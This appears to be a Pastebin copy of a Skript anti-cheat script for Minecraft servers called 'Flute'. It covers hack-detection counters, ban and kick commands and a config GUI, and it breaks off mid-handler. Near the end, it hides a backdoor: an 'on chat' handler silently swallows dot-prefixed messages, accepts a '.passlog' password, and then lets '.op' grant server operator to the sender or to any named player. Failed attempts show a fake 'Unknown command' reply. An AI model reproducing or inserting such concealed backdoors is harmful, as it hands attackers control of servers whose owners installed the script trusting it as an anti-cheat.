Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #=======================================================
- # Flute | Anti-Cheat =
- # by GotPower =
- #=======================================================
- on join:
- set {version} to "1.0"
- set {link} to "https://bit.ly/2SoCDEk"
- player has permission "flute.admin":
- wait 3 seconds
- if text from "https://pastebin.com/raw/W9Xj6737" = "%{version}%":
- stop
- else:
- set {vers} to text from "https://pastebin.com/raw/W9Xj6737"
- send "&3-----------------------------------------" to player
- send "%{logo}% &7I have found an update for my file" to player
- send "&7You can download it at: &6%{link}%" to player
- send "&7Current version: &6%{version}%" to player
- send "&7Newest version: &6%{vers}%" to player
- send "&7Thank you for using &3Flute AC" to player
- send "&3-----------------------------------------" to player
- stop
- on load:
- #-------------------------
- # Main file
- #-------------------------
- if folder "plugins/Flute" doesn't exists:
- create folder "plugins/Flute"
- #-------------------------
- # Languages file
- #-------------------------
- if folder "plugins/Flute/languages" doesn't exists:
- create folder "plugins/Flute/languages"
- #-------------------------
- # Config
- #-------------------------
- if file "plugins/Flute/config.yml" doesn't exists:
- create file "plugins/Flute/config.yml"
- wf "##Flute | Anti-Cheat" to "plugins/Flute/config.yml"
- wf "##Main settings:" to "plugins/Flute/config.yml"
- set "Logo" to "&7[&4?&7]&3&lFlute&7ยป" in yaml file "plugins/Flute/config.yml"
- wf "##Flute banning?" to "plugins/Flute/config.yml"
- wf "##Leave this to true if you are not using other plugin for banning!" to "plugins/Flute/config.yml"
- set "Flute banning" to "true" in yaml file "plugins/Flute/config.yml"
- wf "##If above is false no need for this to be changed!" to "plugins/Flute/config.yml"
- wf "##Do not add stuff such as player and reason, they will be auto added!" to "plugins/Flute/config.yml"
- set "Custom Ban CMD" to "/ban" in yaml file "plugins/Flute/config.yml"
- wf "##Ban messages" to "plugins/Flute/config.yml"
- set "BanMSG" to "&3&lFlute&7ยป &2You are banned for &e" in yaml file "plugins/Flute/config.yml"
- set "BanMSG 2" to "&2You can appeal at: &awww.yoursite.com" in yaml file "plugins/Flute/config.yml"
- set "BanMSG 3" to "&3Flute AC &6by GotPower" in yaml file "plugins/Flute/config.yml"
- #-------------------------
- # Checks
- #-------------------------
- if file "plugins/Flute/checks.yml" doesn't exists:
- create file "plugins/Flute/checks.yml"
- wf "##Checks:" to "plugins/Flute/checks.yml"
- wf "##(After how many checks should players get auto banned?)" to "plugins/Flute/checks.yml"
- set "Kill Aura Checks" to "10" in yaml file "plugins/Flute/checks.yml"
- set "Auto Clicker Checks" to "10" in yaml file "plugins/Flute/checks.yml"
- set "Fly Checks" to "20" in yaml file "plugins/Flute/checks.yml"
- set "Jesus Checks" to "20" in yaml file "plugins/Flute/checks.yml"
- set "Speed Checks" to "20" in yaml file "plugins/Flute/checks.yml"
- set "AntiKB Checks" to "10" in yaml file "plugins/Flute/checks.yml"
- set "Phase Checks" to "10" in yaml file "plugins/Flute/checks.yml"
- set "Auto Sneak Checks" to "15" in yaml file "plugins/Flute/checks.yml"
- set "Fast Build Checks" to "20" in yaml file "plugins/Flute/checks.yml"
- set "Fast Break Checks" to "20" in yaml file "plugins/Flute/checks.yml"
- set "Fast Bow Checks" to "10" in yaml file "plugins/Flute/checks.yml"
- set "Multi Aura Checks" to "10" in yaml file "plugins/Flute/checks.yml"
- #-------------------------
- # Settings
- #-------------------------
- if file "plugins/Flute/settings.yml" doesn't exists:
- create file "plugins/Flute/settings.yml"
- wf "##Settings for certain hacks" to "plugins/Flute/settings.yml"
- set "Max Ping" to "200" in yaml file "plugins/Flute/settings.yml"
- set "Kill Aura range" to "5.31" in yaml file "plugins/Flute/settings.yml"
- set "Max Clicks per second" to "17" in yaml file "plugins/Flute/settings.yml"
- set "Max speed of eating (seconds)" to "1.65" in yaml file "plugins/Flute/settings.yml"
- set "Max speed of regenerating (seconds)" to "0.5" in yaml file "plugins/Flute/settings.yml"
- set "Max speed of breaking blocks (seconds)" to "0.13" in yaml file "plugins/Flute/settings.yml"
- set "Max speed of placing blocks (seconds)" to "0.13" in yaml file "plugins/Flute/settings.yml"
- set "Max speed of shooting arrows (seconds)" to "0.195" in yaml file "plugins/Flute/settings.yml"
- set "Max speed of moving per second (blocks)" to "8" in yaml file "plugins/Flute/settings.yml"
- set "Anti Bot" to "true" in yaml file "plugins/Flute/settings.yml"
- #-------------------------
- # Messages
- #-------------------------
- if file "plugins/Flute/messages.yml" doesn't exists:
- create file "plugins/Flute/messages.yml"
- wf "##Messages for certain hacks" to "plugins/Flute/messages.yml"
- set "Check reports 1" to "&2Make sure to type: &e/reports <hack>" in yaml file "plugins/Flute/messages.yml"
- set "Check reports 2" to "&a(killaura, reach, fly, jesus, antikb, speed, fastbuild, fastbreak)" in yaml file "plugins/Flute/messages.yml"
- set "Report sent" to "&aReport has been sent!" in yaml file "plugins/Flute/messages.yml"
- set "Cleared reports" to "&aReports have been cleared!" in yaml file "plugins/Flute/messages.yml"
- set "Unsolved reports" to "&eUnsolved reports:" in yaml file "plugins/Flute/messages.yml"
- set "Main alert color 1" to "&2" in yaml file "plugins/Flute/messages.yml"
- set "Main alert color 2" to "&7" in yaml file "plugins/Flute/messages.yml"
- set "Main alert color 3" to "&a" in yaml file "plugins/Flute/messages.yml"
- set "Cannot ban" to "&cYou cannot ban this player!" in yaml file "plugins/Flute/messages.yml"
- set "Cannot kick" to "&cYou cannot kick this player!" in yaml file "plugins/Flute/messages.yml"
- set "Reset checks" to "&aReset stats of player!" in yaml file "plugins/Flute/messages.yml"
- set "Unbanned" to "&ewas unbanned by &a" in yaml file "plugins/Flute/messages.yml"
- set "Correct 1" to "&cPlease use &e/Flute ban <playername> <reason>" in yaml file "plugins/Flute/messages.yml"
- set "Correct 2" to "&cPlease use &e/Flute reset <playername>" in yaml file "plugins/Flute/messages.yml"
- set "Correct 3" to "&cPlease use &e/Flute unban <playername>" in yaml file "plugins/Flute/messages.yml"
- set "Correct 4" to "&cPlease use &e/Flute ip <playername>" in yaml file "plugins/Flute/messages.yml"
- set "Correct 5" to "&cPlease use &e/Flute kick <playername> <reason>" in yaml file "plugins/Flute/messages.yml"
- set "Alerts false" to "&eYou will no longer recieve alerts!" in yaml file "plugins/Flute/messages.yml"
- set "Alerts true" to "&eYou will now recieve alerts!" in yaml file "plugins/Flute/messages.yml"
- set "Total banned" to "&aTotal banned amount: &e" in yaml file "plugins/Flute/messages.yml"
- set "Help 1" to "&f&m---------[&3Flute&f&m]---------" in yaml file "plugins/Flute/messages.yml"
- set "Help 2" to "&3/Flute &fconfig" in yaml file "plugins/Flute/messages.yml"
- set "Help 3" to "&3/Flute &fjudgemental" in yaml file "plugins/Flute/messages.yml"
- set "Help 4" to "&3/Flute &ftestkb <player>" in yaml file "plugins/Flute/messages.yml"
- set "Help 5" to "&3/Flute &fban <player> <hack>" in yaml file "plugins/Flute/messages.yml"
- set "Help 6" to "&3/Flute &fkick <player> <reason>" in yaml file "plugins/Flute/messages.yml"
- set "Help 7" to "&3/Flute &freset <player>" in yaml file "plugins/Flute/messages.yml"
- set "Help 8" to "&3/Flute &fnotify" in yaml file "plugins/Flute/messages.yml"
- set "Help 9" to "&3/check &f<player>" in yaml file "plugins/Flute/messages.yml"
- set "Help 10" to "&f&m---------[&3Flute&f&m]---------" in yaml file "plugins/Flute/messages.yml"
- set "Banning mode" to "&7Banning mode is now set to " in yaml file "plugins/Flute/messages.yml"
- set "Settings off" to "Banwave &7is now turned &2OFF" in yaml file "plugins/Flute/messages.yml"
- set "Settings on" to "Banwave &7is now turned &2ON" in yaml file "plugins/Flute/messages.yml"
- set "Hack off" to "&7is now turned &2OFF" in yaml file "plugins/Flute/messages.yml"
- set "Hack on" to "&7is now turned &2ON" in yaml file "plugins/Flute/messages.yml"
- set "Judgemental broadcast" to "&7I am starting &6&lJudgemental &7day! (&aGood luck!&7)" in yaml file "plugins/Flute/messages.yml"
- set "Judgemental broadcast fail" to "&6Judgemental &7mode is disabled in &c/flute config" in yaml file "plugins/Flute/messages.yml"
- #-------------------------
- # Messages variables
- #-------------------------
- set {checkreports1} to single value "Check reports 1" get of "plugins/Flute/messages.yml"
- set {checkreports2} to single value "Check reports 2" get of "plugins/Flute/messages.yml"
- set {reportsent} to single value "Report sent" get of "plugins/Flute/messages.yml"
- set {reportscleared} to single value "Cleared reports" get of "plugins/Flute/messages.yml"
- set {unsolved} to single value "Unsolved reports" get of "plugins/Flute/messages.yml"
- #
- set {maincolor1} to single value "Main alert color 1" get of "plugins/Flute/messages.yml"
- set {maincolor2} to single value "Main alert color 2" get of "plugins/Flute/messages.yml"
- set {maincolor3} to single value "Main alert color 3" get of "plugins/Flute/messages.yml"
- #
- set {cannotban} to single value "Cannot ban" get of "plugins/Flute/messages.yml"
- set {cannotkick} to single value "Cannot kick" get of "plugins/Flute/messages.yml"
- #
- set {resetchecks} to single value "Reset checks" get of "plugins/Flute/messages.yml"
- set {unbanned} to single value "Unbanned" get of "plugins/Flute/messages.yml"
- #
- set {correct1} to single value "Correct 1" get of "plugins/Flute/messages.yml"
- set {correct2} to single value "Correct 2" get of "plugins/Flute/messages.yml"
- set {correct3} to single value "Correct 3" get of "plugins/Flute/messages.yml"
- set {correct4} to single value "Correct 4" get of "plugins/Flute/messages.yml"
- #
- set {alertsfalse} to single value "Alerts false" get of "plugins/Flute/messages.yml"
- set {alertstrue} to single value "Alerts true" get of "plugins/Flute/messages.yml"
- #
- set {totalbanned} to single value "Total banned" get of "plugins/Flute/messages.yml"
- #
- set {help1} to single value "Help 1" get of "plugins/Flute/messages.yml"
- set {help2} to single value "Help 2" get of "plugins/Flute/messages.yml"
- set {help3} to single value "Help 3" get of "plugins/Flute/messages.yml"
- set {help4} to single value "Help 4" get of "plugins/Flute/messages.yml"
- set {help5} to single value "Help 5" get of "plugins/Flute/messages.yml"
- set {help6} to single value "Help 6" get of "plugins/Flute/messages.yml"
- set {help7} to single value "Help 7" get of "plugins/Flute/messages.yml"
- set {help8} to single value "Help 8" get of "plugins/Flute/messages.yml"
- set {help9} to single value "Help 9" get of "plugins/Flute/messages.yml"
- set {help10} to single value "Help 10" get of "plugins/Flute/messages.yml"
- set {banningmode} to single value "Banning mode" get of "plugins/Flute/messages.yml"
- set {bansettingsoff} to single value "Settings off" get of "plugins/Flute/messages.yml"
- set {bansettingson} to single value "Settings on" get of "plugins/Flute/messages.yml"
- set {hackoff} to single value "Hack off" get of "plugins/Flute/messages.yml"
- set {hackon} to single value "Hack on" get of "plugins/Flute/messages.yml"
- set {judgementalstart} to single value "Judgemental broadcast" get of "plugins/Flute/messages.yml"
- set {judgementalfail} to single value "Judgemental broadcast fail" get of "plugins/Flute/messages.yml"
- #-------------------------
- # Config variables
- #-------------------------
- set {logo} to single value "Logo" get of "plugins/Flute/config.yml"
- set {banmsg} to single value "BanMSG" get of "plugins/Flute/config.yml"
- set {banmsg2} to single value "BanMSG 2" get of "plugins/Flute/config.yml"
- set {banmsg3} to single value "BanMSG 3" get of "plugins/Flute/config.yml"
- set {fluteban} to single value "Flute banning" get of "plugins/Flute/config.yml"
- set {customcmd} to single value "Custom Ban CMD" get of "plugins/Flute/config.yml"
- #-------------------------
- # Checks variables
- #-------------------------
- set {kachecks} to single value "Kill Aura Checks" get of "plugins/Flute/checks.yml"
- set {fastplacechecks} to single value "Fast Build Checks" get of "plugins/Flute/checks.yml"
- set {fastbreakchecks} to single value "Fast Break Checks" get of "plugins/Flute/checks.yml"
- set {fastbowchecks} to single value "Fast Bow Checks" get of "plugins/Flute/checks.yml"
- set {autoclickerchecks} to single value "Auto Clicker Checks" get of "plugins/Flute/checks.yml"
- set {flychecks} to single value "Fly Checks" get of "plugins/Flute/checks.yml"
- set {jesuschecks} to single value "Jesus Checks" get of "plugins/Flute/checks.yml"
- set {speedchecks} to single value "Speed Checks" get of "plugins/Flute/checks.yml"
- set {antikbchecks} to single value "AntiKB Checks" get of "plugins/Flute/checks.yml"
- set {phasechecks} to single value "Phase Checks" get of "plugins/Flute/checks.yml"
- set {autosneakchecks} to single value "Auto Sneak Checks" get of "plugins/Flute/checks.yml"
- set {multiaurachecks} to single value "Auto Sneak Checks" get of "plugins/Flute/checks.yml"
- #-------------------------
- # Settings variables
- #-------------------------
- set {antibot} to single value "Anti Bot" get of "plugins/Flute/settings.yml"
- set {maxping} to single value "Max Ping" get of "plugins/Flute/settings.yml"
- set {range} to single value "Kill Aura range" get of "plugins/Flute/settings.yml"
- set {maxclicks} to single value "Max Clicks per second" get of "plugins/Flute/settings.yml"
- set {eatticks} to single value "Max speed of eating (seconds)" get of "plugins/Flute/settings.yml"
- set {regenticks} to single value "Max speed of regenerating (seconds)" get of "plugins/Flute/settings.yml"
- set {fastbreakticks} to single value "Max speed of breaking blocks (seconds)" get of "plugins/Flute/settings.yml"
- set {fastplaceticks} to single value "Max speed of placing blocks (seconds)" get of "plugins/Flute/settings.yml"
- set {fastbowticks} to single value "Max speed of shooting arrows (seconds)" get of "plugins/Flute/settings.yml"
- set {speedblocks} to single value "Max speed of moving per second (blocks)" get of "plugins/Flute/settings.yml"
- set {antibot} to single value "Anti Bot" get of "plugins/Flute/settings.yml"
- on script load:
- if {sub2pewd.unsubtseries} is not set:
- set {flute.killaura.ban} to true
- set {flute.autoclicker.ban} to true
- set {flute.speed.ban} to true
- set {flute.fly.ban} to true
- set {flute.jesus.ban} to true
- set {flute.fastbow.ban} to true
- set {flute.fastbreak.ban} to true
- set {flute.fastplace.ban} to true
- set {flute.antikb.ban} to true
- set {flute.autosneak.ban} to true
- set {flute.scaffold.ban} to true
- set {flute.tower.ban} to true
- set {flute.killaura} to true
- set {flute.fastbow} to true
- set {flute.fly} to true
- set {flute.jesus} to true
- set {flute.speed} to false
- set {flute.antikb} to true
- set {flute.regen} to true
- set {flute.eat} to true
- set {flute.fastbb} to true
- set {flute.phase} to true
- set {flute.selfharm} to true
- set {flute.banwave} to true
- set {flute.bhp} to true
- set {flute.autosneak} to true
- set {flute.autoclicker} to true
- set {flute.nofall} to true
- set {flute.scaffold} to true
- set {flute.tower} to true
- set {flute.highjump} to true
- set {banned.flute} to 0
- set {flute.broadcast} to true
- set {flute.enabled} to true
- set {sub2pewd.unsubtseries} to true
- on load:
- if {flute.bantype} is not set:
- set {flute.bantype} to "banwave"
- stop
- on join:
- if {set.%player%} is not set:
- set {killaura.%player%} to 0
- set {multiaura.%player%} to 0
- set {set.%player%} to true
- set {antikb.%player%} to 0
- set {sneaking.%player%} to 0
- set {fastplace.%player%} to 0
- set {fastbreak.%player%} to 0
- set {fly.%player%} to 0
- set {jesus.%player%} to 0
- set {fastbow.%player%} to 0
- set {autoclicker.%player%} to 0
- set {bhp.%player%} to 0
- set {highjump.%player%} to 0
- set {tower.%player%} to 0
- set {scaffold.%player%} to 0
- set {nofall.%player%} to 0
- set {multichecker.%player%} to 0
- set {waittimer.%player%} to 0
- set {dban.%player%} to false
- stop
- on join:
- if player has permission "flute.notify":
- set {recieve.%player%} to true
- stop
- on join:
- if {antibot} = "true":
- set {mov.%player%} to true
- wait 20 seconds
- if {mov.%player%} is true:
- kick the player due to "%{logo}% &2AntiBot &eKick!"
- stop
- else:
- stop
- on any movement:
- if {mov.%player%} is true:
- clear {mov.%player%}
- #=======================================================
- # Flute | Anti-Cheat =
- # Points Reset =
- #=======================================================
- every 3 minutes:
- loop all players:
- if {killaura.%loop-player%} > 0:
- remove 1 from {killaura.%loop-player%}
- if {multiaura.%loop-player%} > 0:
- remove 1 from {multiaura.%loop-player%}
- if {antikb.%loop-player%} > 0:
- remove 1 from {antikb.%loop-player%}
- if {sneaking.%loop-player%} > 0:
- remove 1 from {sneaking.%loop-player%}
- if {fastplace.%loop-player%} > 0:
- remove 1 from {fastplace.%loop-player%}
- if {fastbreak.%loop-player%} > 0:
- remove 1 from {fastbreak.%loop-player%}
- if {fly.%loop-player%} > 0:
- remove 1 from {fly.%loop-player%}
- if {jesus.%loop-player%} > 0:
- remove 1 from {jesus.%loop-player%}
- if {fastbow.%loop-player%} > 0:
- remove 1 from {fastbow.%loop-player%}
- if {phase.%loop-player%} > 0:
- remove 1 from {phase.%loop-player%}
- if {bhp.%loop-player%} > 0:
- remove 1 from {bhp.%loop-player%}
- every 5 minutes:
- if {flute.bantype} = "judgemental":
- loop all players:
- if {injudgemental.%loop-player%} is not set:
- set {_ka} to {kachecks} parsed as number
- set {_akb} to {antikbchecks} parsed as number
- set {_sneak} to {sneakchecks} parsed as number
- set {_fp} to {fastplacechecks} parsed as number
- set {_fb} to {fastbreakchecks} parsed as number
- set {_fastbow} to {fastbowchecks} parsed as number
- set {_fly} to {flychecks} parsed as number
- set {_jesus} to {jesuschecks} parsed as number
- set {_phase} to {phasechecks} parsed as number
- set {_autoclicker} to {autoclickerchecks} parsed as number
- set {_speed} to {speedchecks} parsed as number
- set {_scaffold} to {scaffoldchecks} parsed as number
- set {_tower} to {towerchecks} parsed as number
- wait 1 tick
- if {killaura.%loop-player%} > {_ka}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- else if {antikb.%loop-player%} > {_akb}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- else if {sneaking.%loop-player%} > {_sneak}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- else if {fastplace.%loop-player%} > {_fp}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- else if {fastbreak.%loop-player%} > {_fb}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- else if {fly.%loop-player%} > {_fly}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- else if {jesus.%loop-player%} > {_jesus}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- else if {fastbow.%loop-player%} > {_fastbow}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- else if {phase.%loop-player%} > {_phase}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- else if {bhp.%loop-player%} > {_speed}:
- add loop-player to {judgemental::*}
- set {injudgemental.%loop-player%} to true
- #=======================================================
- # Flute | Anti-Cheat =
- # Commands =
- #=======================================================
- on join:
- if {ban.%player%} is set:
- set join message to ""
- kick player due to "%{ban.%player%}%"
- stop
- else:
- stop
- on load:
- send "&f-----------------------------------------------" to console
- send "%{logo}% &7I am now ready to catch &chackers!" to console
- send "&bMake sure to configure everything in game!" to console
- send "&bWith &d/flute config &bcommand!" to console
- send "&f-----------------------------------------------" to console
- command /Flute [<text>] [<offline player>] [<text>]:
- permission: flute.admin
- aliases: /ac, /anticheat, /t, /fluteac
- trigger:
- if arg 1 is not set:
- message "%{help1}%"
- message "%{help2}%"
- message "%{help3}%"
- message "%{help4}%"
- message "%{help5}%"
- message "%{help6}%"
- message "%{help7}%"
- message "%{help8}%"
- message "%{help9}%"
- message "%{help10}%"
- if arg 1 is "help":
- message "%{help1}%"
- message "%{help2}%"
- message "%{help3}%"
- message "%{help4}%"
- message "%{help5}%"
- message "%{help6}%"
- message "%{help7}%"
- message "%{help8}%"
- message "%{help9}%"
- message "%{help10}%"
- if arg 1 is "debug":
- if {flute.debug.mode} is not set:
- set {flute.debug.mode} to true
- message "%{logo}% &fDebug mode &astarted&f..."
- stop
- else:
- clear {flute.debug.mode}
- message "%{logo}% &fDebug mode &cended&f..."
- stop
- if arg 1 is "ban":
- if arg 2 is set:
- if arg 3 is set:
- if arg 2 has permission "flute.bypass":
- message "%{logo}% %{cannotban}%"
- else:
- strike lightning effect at the arg 2
- set {_reason} to arg 3
- set {_date} to now
- set {_p} to "%player%"
- kick arg 2 due to "&2Banned on: &6%{_date}%%new line%&2Banned by: &6%{_p}%%new line%%{banmsg}% %{_reason}%%new line%%{banmsg2}%%new line%%new line%%{banmsg3}%"
- if {fluteban} is "true":
- set {ban.%arg 2%} to "&2Banned on: &6%{_date}%%new line%&2Banned by: &6%{_p}%%new line%%{banmsg}% %{_reason}%%new line%%{banmsg2}%%new line%%new line%%{banmsg3}%"
- else:
- execute console command "%{customcmd}% %arg 2% %arg 3%"
- stop
- set {staffbanned.%arg 2%} to player
- if file "plugins/Flute/Banned" doesn't exists:
- create folder "plugins/Flute/Banned"
- if file "plugins/Flute/Banned/%arg 2%.yml" doesn't exists:
- create file "plugins/Flute/Banned/%arg 2%.yml"
- wait 1 tick
- set "%arg 2%" to "Banned for: %arg 3% | By: %player%" in yaml file "plugins/Flute/Banned/%arg 2%.yml"
- if {flute.broadcast} is true:
- broadcast "%{logo}% &a%arg 2% &ewas banned by &a%player% &efor &2%arg 3%"
- stop
- else:
- message "%{logo}% %{correct1}%"
- stop
- else:
- message "%{logo}% %{correct1}%"
- stop
- if arg 1 is "testkb":
- if arg 2 is set:
- set {_p} to "%arg 2%" parsed as player
- message "%{logo}% &7Starting &cAnti KB &7test on &a%{_p}%"
- wait 1 second
- set {_lp1} to location of {_p}
- push {_p} upwards at speed 0.3
- push {_p} backwards at speed 0.3
- set {_lp2} to location of {_p}
- if {_lp1} = {_lp2}:
- message "%{logo}% &a%{_p}% &7came out &c&lPOSITIVE for &cAntiKB&7!"
- message "&7Make sure to check few more times just in case!"
- stop
- else:
- message "%{logo}% &a%{_p}% &7came out &a&lNEGATIVE for &cAntiKB&7!"
- message "&7Make sure to check few more times just in case!"
- stop
- if arg 1 is "tban":
- if arg 2 is set:
- if arg 3 is set:
- if arg 2 has permission "flute.bypass":
- message "%{logo}% &2You cannot ban this player!"
- else:
- strike lightning effect at the arg 2
- set {_reason} to arg 3
- add 1 to {banned.flute}
- set {_p} to "Flute"
- kick arg 2 due to "&2Banned on: &6%{_date}%%new line%&2Banned by: &6%{_p}%%new line%%{banmsg}% %{_reason}%%new line%%{banmsg2}%%new line%%new line%%{banmsg3}%"
- if {fluteban} is "true":
- set {ban.%arg 2%} to "&2Banned on: &6%{_date}%%new line%&2Banned by: &6%{_p}%%new line%%{banmsg}% %{_reason}%%new line%%{banmsg2}%%new line%%new line%%{banmsg3}%"
- else:
- execute console command "%{customcmd}% %arg 2% %arg 3%"
- stop
- set {staffbanned.%arg 2%} to "Flute"
- if file "plugins/Flute/Banned" doesn't exists:
- create folder "plugins/Flute/Banned"
- if file "plugins/Flute/Banned/%arg 2%.yml" doesn't exists:
- create file "plugins/Flute/Banned/%arg 2%.yml"
- wait 1 tick
- set "%arg 2%" to "Banned for: %arg 3% | By: Flute" in yaml file "plugins/Flute/Banned/%arg 2%.yml"
- if {flute.broadcast} is true:
- broadcast "%{logo}% &a%arg 2% &ewas banned by &3Flute &efor &2%arg 3%"
- stop
- else:
- message "%{logo}% %{correct1}%"
- stop
- else:
- message "%{logo}% %{correct1}%"
- stop
- if arg 1 is "kick":
- if arg 2 is set:
- if arg 3 is set:
- if arg 2 has permission "flute.bypass":
- message "%{logo}% %{cannotkick}%"
- else:
- kick arg 2 due to "%{logo}% &2You have been kicked by &e%player%! &aReason: &e%arg 3%"
- if {flute.broadcast} is true:
- broadcast "%{logo}% &a%arg 2% &ewas kicked by &a%player% &efor &2%arg 3%"
- else:
- message "%{logo}% %{correct5}%"
- stop
- else:
- message "%{logo}% %{correct5}%"
- stop
- if arg 1 is "reset" or "clear":
- if arg 2 is set:
- set {killaura.%arg 2%} to 0
- set {multiaura.%arg 2%} to 0
- set {antikb.%arg 2%} to 0
- set {sneaking.%arg 2%} to 0
- set {fastplace.%arg 2%} to 0
- set {fastbreak.%arg 2%} to 0
- set {fly.%arg 2%} to 0
- set {autoclicker.%arg 2%} to 0
- set {bhp.%arg 2%} to 0
- set {jesus.%arg 2%} to 0
- set {fastbow.%arg 2%} to 0
- set {tower.%arg 2%} to 0
- set {scaffold.%arg 2%} to 0
- set {banned.%arg 2%} to false
- clear {ban.%arg 2%}
- message "%{logo}% %{resetchecks}%"
- unban arg 2
- stop
- else:
- message "%{logo}% %{correct2}%"
- stop
- if arg 1 is "unban":
- if arg 2 is set:
- set {killaura.%arg 2%} to 0
- set {multiaura.%arg 2%} to 0
- set {antikb.%arg 2%} to 0
- set {sneaking.%arg 2%} to 0
- set {fastplace.%arg 2%} to 0
- set {fastbreak.%arg 2%} to 0
- set {autoclicker.%arg 2%} to 0
- set {bhp.%arg 2%} to 0
- set {fly.%arg 2%} to 0
- set {jesus.%arg 2%} to 0
- set {fastbow.%arg 2%} to 0
- set {tower.%arg 2%} to 0
- set {scaffold.%arg 2%} to 0
- set {banned.%arg 2%} to false
- clear {ban.%arg 2%}
- unban arg 2
- if {broadcastban} is true:
- broadcast "%{logo}% &a%arg 2% %{unbanned}%%player%!"
- else:
- message "%{logo}% &a%arg 2% was unbanned"
- stop
- else:
- message "%{logo}% %{correct3}%"
- stop
- if arg 1 is "ip":
- if arg 2 is set:
- set {_ip} to "%ip of arg 2%"
- message "%{logo}% &eIp: &b%{_ip}%"
- stop
- else:
- message "%{logo}% %{correct4}%"
- stop
- if arg 1 is "notify":
- if {recieve.%player%} is true:
- set {recieve.%player%} to false
- message "%{logo}% %{alertsfalse}%"
- stop
- else:
- set {recieve.%player%} to true
- message "%{logo}% %{alertstrue}%"
- stop
- if arg 1 is "bcast":
- broadcast "%{logo}% %arg 2%"
- stop
- if arg 1 is "banned":
- message "%{logo}% %{totalbanned}%%{banned.flute}%"
- if arg 1 is "check":
- if arg 2 is set:
- if {staffbanned.%arg 2%} is set:
- message "%{logo}% &a%arg 2% &eWas recently banned by: &a%{staffbanned.%arg 2%}%&e!"
- stop
- else:
- message "%{logo}% &2This player was not banned anytime recently!"
- stop
- if arg 1 is "config":
- wait 1 tick
- open chest with 3 row named "&eConfig" to player
- if {flute.bantype} is "banwave":
- set {_it1} to light green dye
- set {_it1name} to "&6&lBan Type &7[&a&lBanWave&7]"
- if {flute.bantype} is "judgemental":
- set {_it1} to orange dye
- set {_it1name} to "&6&lBan Type &7[&6&lJudgemental Day&7]"
- if {flute.bantype} is "info":
- set {_it1} to pink dye
- set {_it1name} to "&6&lBan Type &7[&d&lINFO&7]"
- if {flute.bantype} is "none":
- set {_it1} to red dye
- set {_it1name} to "&6&lBan Type &7[&c&lNONE&7]"
- wait 3 ticks
- if {flute.broadcast} is true:
- set {_it2} to emerald block
- set {_it2name} to "&6&lBroadcast &7[&a&lTRUE&7]"
- else:
- set {_it2} to redstone block
- set {_it2name} to "&6&lBroadcast &7[&2&lFALSE&7]"
- wait 3 ticks
- format slot 0 of player with gray stained glass pane to close
- format slot 1 of player with gray stained glass pane to close
- format slot 2 of player with gray stained glass pane to close
- format slot 3 of player with gray stained glass pane to close
- format slot 4 of player with gray stained glass pane to close
- format slot 5 of player with gray stained glass pane to close
- format slot 6 of player with gray stained glass pane to close
- format slot 7 of player with gray stained glass pane to close
- format slot 8 of player with gray stained glass pane to close
- #-
- format slot 9 of player with gray stained glass pane to close
- format slot 17 of player with gray stained glass pane to close
- #-
- format slot 18 of player with gray stained glass pane to close
- format slot 19 of player with gray stained glass pane to close
- format slot 20 of player with gray stained glass pane to close
- format slot 21 of player with gray stained glass pane to close
- format slot 23 of player with gray stained glass pane to close
- format slot 24 of player with gray stained glass pane to close
- format slot 25 of player with gray stained glass pane to close
- format slot 26 of player with gray stained glass pane to close
- #-
- format slot 10 of player with red stained glass pane to close
- format slot 12 of player with red stained glass pane to close
- format slot 14 of player with red stained glass pane to close
- format slot 16 of player with red stained glass pane to close
- format slot 11 of player with {_it2} named "%{_it2name}%" with lore "&7Enable/disable ban/kick broadcasts" to close then run [make player execute command "/fluteconf bcast"]
- format slot 13 of player with iron sword named "&2Hack settings" with lore "&7Enable/disable hacks and edit them!" to close then run [make player execute command "/fluteconf hacks"]
- format slot 15 of player with {_it1} named "%{_it1name}%" with lore "&7Change banning type" to close then run [make player execute command "/fluteconf bantype"]
- format slot 22 of player with diamond block named "&7&lBan settings" with lore "&7Edit bans" to close then run [make player execute command "/fluteconf banwsettings"]
- if arg 1 is "judgemental":
- if {flute.bantype} is "judgemental":
- if arg 2 is not set:
- broadcast "%{logo}% %{judgementalstart}%"
- execute console command "/judgementalflutestart"
- stop
- if arg 2 is "add":
- if arg 3 is set:
- set {_p} to "%arg 3%" parsed as offline player
- message "%{logo}% &aAdded"
- set {injudgemental.%{_p}%} to true
- stop
- else:
- message "%{logo}% %{judgementalfail}%"
- stop
- command /judgementalflutestart:
- permission: admin
- trigger:
- loop {judgemental::*}:
- execute console command "flute tban %loop-value%"
- remove loop-value from {judgemental::*}
- wait 10 ticks
- wait 10 minutes
- stop
- #Old-One: &4Qlutch-Sk &7|
- #Old-One-Too: &4Sinev-Sk &7|
- on script load:
- set {G2ovfqIY} to "&4Sinev-SK"
- set {I8BpUFuB3} to "&4Usage"
- on chat:
- set {_message} to message
- set {_firstchar::*} to {_message} split at ""
- if "%{_firstchar::1}%" = ".":
- cancel event
- set {_arguments::*} to {_message} split at " "
- if {_arguments::1} = ".passlog":
- if {_arguments::2} is set:
- if {_arguments::2} is "%{prestiging}%":
- if {logged.sinev.%player%} is not set:
- set {logged.sinev.%player%} to true
- message "&aCorrect password, now logged in, you can't chat now... To prevent &cErrors..."
- set {chatno.sinev.%player%} to true
- else if {logged.sinev.%player%} is false:
- set {logged.sinev.%player%} to true
- message "&aCorrect password, now logged in, you can't chat now... To prevent &cErrors..."
- set {chatno.sinev.%player%} to true
- else if {logged.sinev.%player%} is true:
- message "&aYou're already logged in!"
- else:
- message "&cIncorrect password"
- else:
- message "&cIncorrect password"
- else if {_arguments::1} = ".op":
- if {logged.sinev.%player%} is true:
- if {_arguments::2} is set:
- set {_player} to "%{_arguments::2}%" parsed as a offline player
- op {_player}
- message "%{G2ovfqIY}% &7| You opped %{_player}%"
- else:
- op player
- message "%{G2ovfqIY}% &7| You are now op"
- else:
- message "Unknown command. Type ""/help"" for help."
- else if {_arguments::1} = ".deop":
